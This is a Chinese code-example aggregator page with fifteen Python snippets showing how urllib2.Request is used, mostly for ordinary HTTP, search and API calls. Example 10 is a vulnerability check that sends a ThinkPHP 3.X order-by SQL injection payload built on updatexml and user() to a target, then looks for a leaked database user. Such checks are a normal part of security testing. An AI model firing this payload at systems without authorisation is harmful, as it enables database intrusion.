本文整理汇总了Python中urllib2.Request方法的典型用法代码示例。如果您正苦于以下问题:Python urllib2.Request方法的具体用法?Python urllib2.Request怎么用?Python urllib2.Request使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类urllib2
的用法示例。
在下文中一共展示了urllib2.Request方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: post_request
# 需要导入模块: import urllib2 [as 别名]
# 或者: from urllib2 import Request [as 别名]
def post_request(vals, url):
"""
Build a post request.
Args:
vals: Dictionary of (field, values) for the POST
request.
url: URL to send the data to.
Returns:
Dictionary of JSON response or error info.
"""
# Build the request and send to server
data = urllib.urlencode(vals)
try:
request = urllib2.Request(url, data)
response = urllib2.urlopen(request)
except urllib2.HTTPError, err:
return {"error": err.reason, "error_code": err.code}
示例2: gethtml
# 需要导入模块: import urllib2 [as 别名]
# 或者: from urllib2 import Request [as 别名]
def gethtml(url, lastURL=False):
"""return HTML of the given url"""
if not (url.startswith("http://") or url.startswith("https://")):
url = "http://" + url
header = useragents.get()
request = urllib2.Request(url, None, header)
html = None
try:
reply = urllib2.urlopen(request, timeout=10)
except urllib2.HTTPError, e:
# read html content anyway for reply with HTTP500
if e.getcode() == 500:
html = e.read()
#print >> sys.stderr, "[{}] HTTP error".format(e.code)
pass
示例3: reverseip
# 需要导入模块: import urllib2 [as 别名]
# 或者: from urllib2 import Request [as 别名]
def reverseip(url):
"""return domains from given the same server"""
# get only domain name
url = urlparse(url).netloc if urlparse(url).netloc != '' else urlparse(url).path.split("/")[0]
source = "http://domains.yougetsignal.com/domains.php"
useragent = useragents.get()
contenttype = "application/x-www-form-urlencoded; charset=UTF-8"
# POST method
opener = urllib2.build_opener(
urllib2.HTTPHandler(), urllib2.HTTPSHandler())
data = urllib.urlencode([('remoteAddress', url), ('key', '')])
request = urllib2.Request(source, data)
request.add_header("Content-type", contenttype)
request.add_header("User-Agent", useragent)
try:
result = urllib2.urlopen(request).read()
except urllib2.HTTPError, e:
print >> sys.stderr, "[{}] HTTP error".format(e.code)
示例4: search
# 需要导入模块: import urllib2 [as 别名]
# 或者: from urllib2 import Request [as 别名]
def search(self, query, per_page=10, pages=1):
"""search urls from yahoo search"""
# store searched urls
urls = []
for page in range(pages):
yahoosearch = self.yahoosearch % (query, per_page, (pages+1)*10)
request = urllib2.Request(yahoosearch)
request.add_header("Content-type", self.contenttype)
request.add_header("User-Agent", self.useragent)
result = urllib2.urlopen(request).read()
urls += self.parse_links(result)
return urls
示例5: query
# 需要导入模块: import urllib2 [as 别名]
# 或者: from urllib2 import Request [as 别名]
def query(owner, name):
if fake:
print ' {0}/{1}: ok'.format(owner, name)
return (random.randint(1, 1000), random.randint(1, 300))
else:
try:
req = urllib2.Request('https://api.github.com/repos/{0}/{1}'.format(owner, name))
if user is not None and token is not None:
b64 = base64.encodestring('{0}:{1}'.format(user, token)).replace('\n', '')
req.add_header("Authorization", "Basic {0}".format(b64))
u = urllib2.urlopen(req)
j = json.load(u)
t = datetime.datetime.strptime(j['updated_at'], "%Y-%m-%dT%H:%M:%SZ")
days = max(int((now - t).days), 0)
print ' {0}/{1}: ok'.format(owner, name)
return (int(j['stargazers_count']), days)
except urllib2.HTTPError, e:
print ' {0}/{1}: FAILED'.format(owner, name)
return (None, None)
示例6: upd
# 需要导入模块: import urllib2 [as 别名]
# 或者: from urllib2 import Request [as 别名]
def upd(category, sort, str):
post = urllib.urlencode({'checkbox_ftp':'on', 'checkbox_tor':'on','word':str})
request = urllib2.Request('http://krasfs.ru/search.php?key=newkey')#url, post)
request.add_header('User-Agent', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)')
request.add_header('Host', 'www.krasfs.ru')
request.add_header('Accept', '*/*')
request.add_header('Accept-Language', 'ru-RU')
request.add_header('Referer', 'http://www.krasfs.ru')
try:
f = urllib2.urlopen(request)
html = f.read()
html = html.replace(chr(10),"")
n=html.find("<newkey>")
k=html.find("</newkey>")
key = html[n+8:k]
except IOError, e:
if hasattr(e, 'reason'):
print 'We failed to reach a server. Reason: '+ e.reason
elif hasattr(e, 'code'):
print 'The server couldn\'t fulfill the request. Error code: '+ e.code
key = "59165b78-bf91-11e1-86bf-c6ab051766ba"
示例7: _http_request
# 需要导入模块: import urllib2 [as 别名]
# 或者: from urllib2 import Request [as 别名]
def _http_request(url, headers=None, time_out=10):
"""Perform an HTTP request and return request"""
log(0, 'Request URL: {url}', url=url)
try:
if headers:
request = Request(url, headers=headers)
else:
request = Request(url)
req = urlopen(request, timeout=time_out)
log(0, 'Response code: {code}', code=req.getcode())
if 400 <= req.getcode() < 600:
raise HTTPError('HTTP %s Error for url: %s' % (req.getcode(), url), response=req)
except (HTTPError, URLError) as err:
log(2, 'Download failed with error {}'.format(err))
if yesno_dialog(localize(30004), '{line1}\n{line2}'.format(line1=localize(30063), line2=localize(30065))): # Internet down, try again?
return _http_request(url, headers, time_out)
return None
return req
示例8: query
# 需要导入模块: import urllib2 [as 别名]
# 或者: from urllib2 import Request [as 别名]
def query(owner, name):
if fake:
print(" {0}/{1}: ok".format(owner, name))
return (random.randint(1, 1000), random.randint(1, 300))
else:
try:
req = urllib2.Request(
"https://api.github.com/repos/{0}/{1}".format(owner, name)
)
if user is not None and token is not None:
b64 = base64.encodestring("{0}:{1}".format(user, token)).replace(
"\n", ""
)
req.add_header("Authorization", "Basic {0}".format(b64))
u = urllib2.urlopen(req)
j = json.load(u)
t = datetime.datetime.strptime(j["updated_at"], "%Y-%m-%dT%H:%M:%SZ")
days = max(int((now - t).days), 0)
print(" {0}/{1}: ok".format(owner, name))
return (int(j["stargazers_count"]), days)
except urllib2.HTTPError as e:
print(" {0}/{1}: FAILED".format(owner, name))
return (None, None)
示例9: _make_request
# 需要导入模块: import urllib2 [as 别名]
# 或者: from urllib2 import Request [as 别名]
def _make_request(self, opener, request, timeout=None):
"""Make the API call and return the response. This is separated into
it's own function, so we can mock it easily for testing.
:param opener:
:type opener:
:param request: url payload to request
:type request: urllib.Request object
:param timeout: timeout value or None
:type timeout: float
:return: urllib response
"""
timeout = timeout or self.timeout
try:
return opener.open(request, timeout=timeout)
except HTTPError as err:
exc = handle_error(err)
return exc
示例10: check
# 需要导入模块: import urllib2 [as 别名]
# 或者: from urllib2 import Request [as 别名]
def check(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
flag = "GET /?order[updatexml(1,concat(0x3a,user()),1)]=1 HTTP/1.1"
s.send(flag)
time.sleep(1)
data = s.recv(1024)
s.close()
if 'GET' in data:
url = 'http://' + ip + ":" + str(port) + '/?order[updatexml(1,concat(0x3a,user()),1)]=1'
request = urllib2.Request(url)
res_html = urllib2.urlopen(request, timeout=timeout).read(204800)
if 'root' in res_html:
return u"ThinkPHP 3.X order by注入漏洞"
except Exception, e:
pass
示例11: call_api
# 需要导入模块: import urllib2 [as 别名]
# 或者: from urllib2 import Request [as 别名]
def call_api(self, endpoint, method, headers=None, params=[], data=None, quiet=False):
path = self.parse_path(endpoint, params)
# If custom headers are not specified we can use the default headers
if not headers:
headers = self.headers
# Send the request and receive the response
if not self.quiet:
print('\nSending ' + method + ' request to: ' + 'https://' +self.server_ip+self.base_uri+path+'\n')
request = Request(
'https://'+self.server_ip+self.base_uri+path, headers=headers)
request.get_method = lambda: method
try:
#returns response object for opening url.
return urlopen(request, data)
except HTTPError as e:
#an object which contains information similar to a request object
return e
# This method constructs the query string
示例12: retrieve_url_nodecode
# 需要导入模块: import urllib2 [as 别名]
# 或者: from urllib2 import Request [as 别名]
def retrieve_url_nodecode(url):
""" Return the content of the url page as a string """
req = Request(url, headers=headers)
try:
response = urlopen(req)
except URLError as errno:
print(" ".join(("Connection error:", str(errno.reason))))
print(" ".join(("URL:", url)))
return ""
dat = response.read()
# Check if it is gzipped
if dat[:2] == '\037\213':
# Data is gzip encoded, decode it
compressedstream = StringIO(dat)
gzipper = gzip.GzipFile(fileobj=compressedstream)
extracted_data = gzipper.read()
dat = extracted_data
return dat
return dat
示例13: lookup
# 需要导入模块: import urllib2 [as 别名]
# 或者: from urllib2 import Request [as 别名]
def lookup(self, name, host_override=None):
"""
Looks up a name from the DNSChain server. Throws exception if the
data is not valid JSON or if the namecoin entry does not exist in the
blockchain.
@param name: The name to lookup, e.g. 'id/dionyziz', note this $NAMESPACE/$NAME
format is not guaranteed. Additionally the caller must perform appropriate url
encoding _before_ the name is passed to urllib2.urlopen
"""
if host_override is not None:
self.headers['Host'] = host_override
full_url = "http://%s/%s" % (self.addr, name)
request = urllib2.Request(full_url, None, self.headers)
try:
response = urllib2.urlopen(request)
except urllib2.HTTPError, e:
if e.code == 404:
e = DataNotFound(e, name, self.headers['Host'])
if e.code < 200 or e.code > 299:
self._log.debug("%s" % (e.msg,), exc_info=True)
raise e
示例14: probe_html5
# 需要导入模块: import urllib2 [as 别名]
# 或者: from urllib2 import Request [as 别名]
def probe_html5(self, result):
class NoRedirectHandler(urllib2.HTTPRedirectHandler):
def http_error_302(self, req, fp, code, msg, headers):
infourl = urllib.addinfourl(fp, headers, req.get_full_url())
infourl.status = code
infourl.code = code
return infourl
http_error_300 = http_error_302
http_error_301 = http_error_302
http_error_303 = http_error_302
http_error_307 = http_error_302
opener = urllib2.build_opener(NoRedirectHandler())
urllib2.install_opener(opener)
r = urllib2.urlopen(urllib2.Request(result['url'], headers=result['headers']))
if r.code == 200:
result['url'] = r.read()
return result
示例15: check_for_update
# 需要导入模块: import urllib2 [as 别名]
# 或者: from urllib2 import Request [as 别名]
def check_for_update():
if os.path.exists(FILE_UPDATE):
mtime = os.path.getmtime(FILE_UPDATE)
last = datetime.utcfromtimestamp(mtime).strftime('%Y-%m-%d')
today = datetime.utcnow().strftime('%Y-%m-%d')
if last == today:
return
try:
with open(FILE_UPDATE, 'a'):
os.utime(FILE_UPDATE, None)
request = urllib2.Request(
CORE_VERSION_URL,
urllib.urlencode({'version': __version__}),
)
response = urllib2.urlopen(request)
with open(FILE_UPDATE, 'w') as update_json:
update_json.write(response.read())
except (urllib2.HTTPError, urllib2.URLError):
pass